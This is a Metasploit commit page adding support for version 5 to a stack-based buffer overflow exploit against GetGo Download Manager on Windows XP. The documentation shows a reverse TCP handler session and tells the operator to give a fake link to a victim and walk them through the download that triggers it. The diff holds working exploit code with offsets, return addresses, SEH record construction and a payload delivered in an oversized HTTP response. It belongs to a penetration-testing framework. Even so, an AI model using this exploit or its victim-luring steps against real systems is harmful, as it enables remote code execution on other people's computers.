Land #9642, support version 5 for GetGo Download Manager bof exploit
Wei Chen
Metasploit
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52a919c361
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## Description
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This modules adds a buffer overflow exploit for GetGo Download Manager, which supports
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4.9.0.1982 and 5.3.0.2712. Versions prior should also be vulnerable.
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This exploit has been tested on Windows XP SP3. The vulnerable software can be downloaded
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at [GetGo Download Manager 5.3.0.2712](https://www.exploit-db.com/apps/b26d82eadef93531f8beafac6105ef13-GetGoDMSetup.exe)
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To use this, first start the module like the following example:
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```
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msf5 exploit(windows/browser/getgodm_http_response_bof) > run
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[*] Exploit running as background job 0.
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[*] Exploit completed, but no session was created.
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[*] Started reverse TCP handler on 192.168.0.12:4444
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msf5 exploit(windows/browser/getgodm_http_response_bof) > [*] Using URL: http://0.0.0.0:8080/shakeitoff.mp3
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[*] Local IP: http://192.168.0.12:8080/shakeitoff.mp3
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[*] Server started.
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```
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The exploit should give you a fake link. Pass this link to the Getgo user, and instruct them to
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do the following:
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1. Start GetGo Download Manager
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2. Click on the DOWNLOAD button
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3. Click on New (if the link is already copied to the clipboard, clicking on this should trigger
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the download, and get exploited).
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4. If the link isn't in the clipboard, instruct the user to enter the URL in the URL field, and
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click OK. The user should also get exploited this way.
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@ -14,7 +14,7 @@ class MetasploitModule < Msf::Exploit::Remote
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'Name' => 'GetGo Download Manager HTTP Response Buffer Overflow',
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'Description' => %q{
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This module exploits a stack-based buffer overflow vulnerability in
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GetGo Download Manager version 4.9.0.1982 and earlier, caused by an
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GetGo Download Manager version 5.3.0.2712 earlier, caused by an
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overly long HTTP response header.
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By persuading the victim to download a file from a malicious server, a
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@ -26,7 +26,9 @@ class MetasploitModule < Msf::Exploit::Remote
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'Author' =>
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[
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'Julien Ahrens', # Vulnerability discovery
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'Gabor Seljan' # Metasploit module
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'Gabor Seljan', # Metasploit module for v4
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'bzyo', # Metasploit module for v5
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'sinn3r' # Helping Gabor and bzyo (see #4588 & #9642)
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],
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'References' =>
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[
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@ -42,16 +44,33 @@ class MetasploitModule < Msf::Exploit::Remote
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'Platform' => 'win',
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'Payload' =>
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{
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'BadChars' => "\x00\x0a\x0d",
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'Space' => 2000
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# v5 has no bad chars
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'BadChars' => "\x00\x0a\x0d"
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},
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'Targets' =>
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[
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[ 'Windows XP SP3',
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[
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'Automatic', {}
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],
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[ '4.9.0.1982 on Windows XP SP3',
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{
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'Offset' => 4107,
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'Ret' => 0x00280b0b # CALL DWORD PTR SS:[EBP+30]
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}
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],
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[
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'5.3.0.2712 on Windows XP SP3',
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{
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'Offset' => 4095,
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# 0:016> u 0x72d11f39
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# msacm32!wodMessage+0xd0f:
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# 72d11f39 5f pop edi
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# 72d11f3a 5e pop esi
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# 72d11f3b c20400 ret 4
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'Ret' => 0x72d11f39,
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# 12253 is the same size the python PoC used
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'MaxSize' => 12253
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}
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]
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],
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'Privileged' => false,
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@ -59,102 +78,11 @@ class MetasploitModule < Msf::Exploit::Remote
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'DefaultTarget' => 0))
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end
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#
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# Handle the HTTP request and return a response.
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# Code borrowed from: msf/core/exploit/http/server.rb
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#
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def start_http(opts={})
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# Ensture all dependencies are present before initializing HTTP
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use_zlib
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comm = datastore['ListenerComm']
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if (comm.to_s == "local")
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comm = ::Rex::Socket::Comm::Local
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else
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comm = nil
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end
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# Default the server host / port
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opts = {
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'ServerHost' => datastore['SRVHOST'],
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'ServerPort' => datastore['HTTPPORT'],
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'Comm' => comm
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}.update(opts)
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# Start a new HTTP server
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@http_service = Rex::ServiceManager.start(
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Rex::Proto::Http::Server,
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opts['ServerPort'].to_i,
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opts['ServerHost'],
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datastore['SSL'],
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{
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'Msf' => framework,
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'MsfExploit' => self
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},
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opts['Comm'],
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datastore['SSLCert']
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)
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@http_service.server_name = datastore['HTTP::server_name']
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# Default the procedure of the URI to on_request_uri if one isn't
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# provided.
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uopts = {
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'Proc' => Proc.new { |cli, req|
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on_request_uri(cli, req)
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},
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'Path' => resource_uri
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}.update(opts['Uri'] || {})
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proto = (datastore["SSL"] ? "https" : "http")
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print_status("Using URL: #{proto}://#{opts['ServerHost']}:#{opts['ServerPort']}#{uopts['Path']}")
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if (opts['ServerHost'] == '0.0.0.0')
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print_status(" Local IP: #{proto}://#{Rex::Socket.source_address('1.2.3.4')}:#{opts['ServerPort']}#{uopts['Path']}")
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end
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# Add path to resource
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@service_path = uopts['Path']
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@http_service.add_resource(uopts['Path'], uopts)
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# As long as we have the http_service object, we will keep the server alive
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while @http_service
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select(nil, nil, nil, 1)
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end
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end
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#
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# Kill HTTP/FTP (shut them down and clear resources)
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#
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def cleanup
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super
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stop_service
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begin
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@http_service.remove_resource(datastore['URIPATH'])
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@http_service.deref
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@http_service.stop
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@http_service.close
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@http_service = nil
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rescue
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end
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end
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def on_request_uri(cli, request)
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print_status("Client connected...")
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unless request['User-Agent'] =~ /GetGo Download Manager 4.0/
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print_error("Sending 404 for unknown user-agent")
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send_not_found(cli)
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return
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end
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sploit = rand_text_alpha(target['Offset'])
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# This part is from Gabor Seljan
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def exploit_v4(cli, current_taget)
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sploit = rand_text_alpha(current_taget['Offset'])
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sploit << "\x90\x90\xEB\x06"
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sploit << [target.ret].pack('V')
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sploit << [current_taget.ret].pack('V')
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sploit << payload.encoded
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print_status("Sending #{sploit.length} bytes to port #{cli.peerport}...")
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@ -162,8 +90,36 @@ class MetasploitModule < Msf::Exploit::Remote
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resp = create_response(200, sploit)
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resp.body = ""
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cli.send_response(resp)
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end
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close_client(cli)
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# This part is from Auxilus with some help from @_sinn3r
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def exploit_v5(cli, current_taget)
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seh_record = generate_seh_record(current_taget.ret)
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# Minus 4 for the SEH record
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buffer = Rex::Text.rand_text_alpha(current_taget['Offset'] - 4)
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buffer << seh_record
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buffer << payload.encoded
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buffer << Rex::Text.rand_text_alpha(current_taget['MaxSize'] - buffer.length)
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res = create_response(200, buffer)
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cli.send_response(res)
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end
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def on_request_uri(cli, request)
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print_status("#{cli.peerhost} connected")
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current_target = target
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user_agent = request.headers['User-Agent'].to_s
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if current_target == targets[1] || user_agent.match(/GetGo Download Manager 4\.0/)
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print_status('Attempting to exploit against v4')
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current_target = targets[1]
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exploit_v4(cli, current_target)
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elsif current_target == targets[2] || user_agent.match(/GetGo Download Manager 5\.0/)
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print_status('Attempting to exploit against v5')
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current_target = targets[2]
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exploit_v5(cli, current_target)
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else
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print_error('Sending 404 for unknown user-agent')
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send_not_found(cli)
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end
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end
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end
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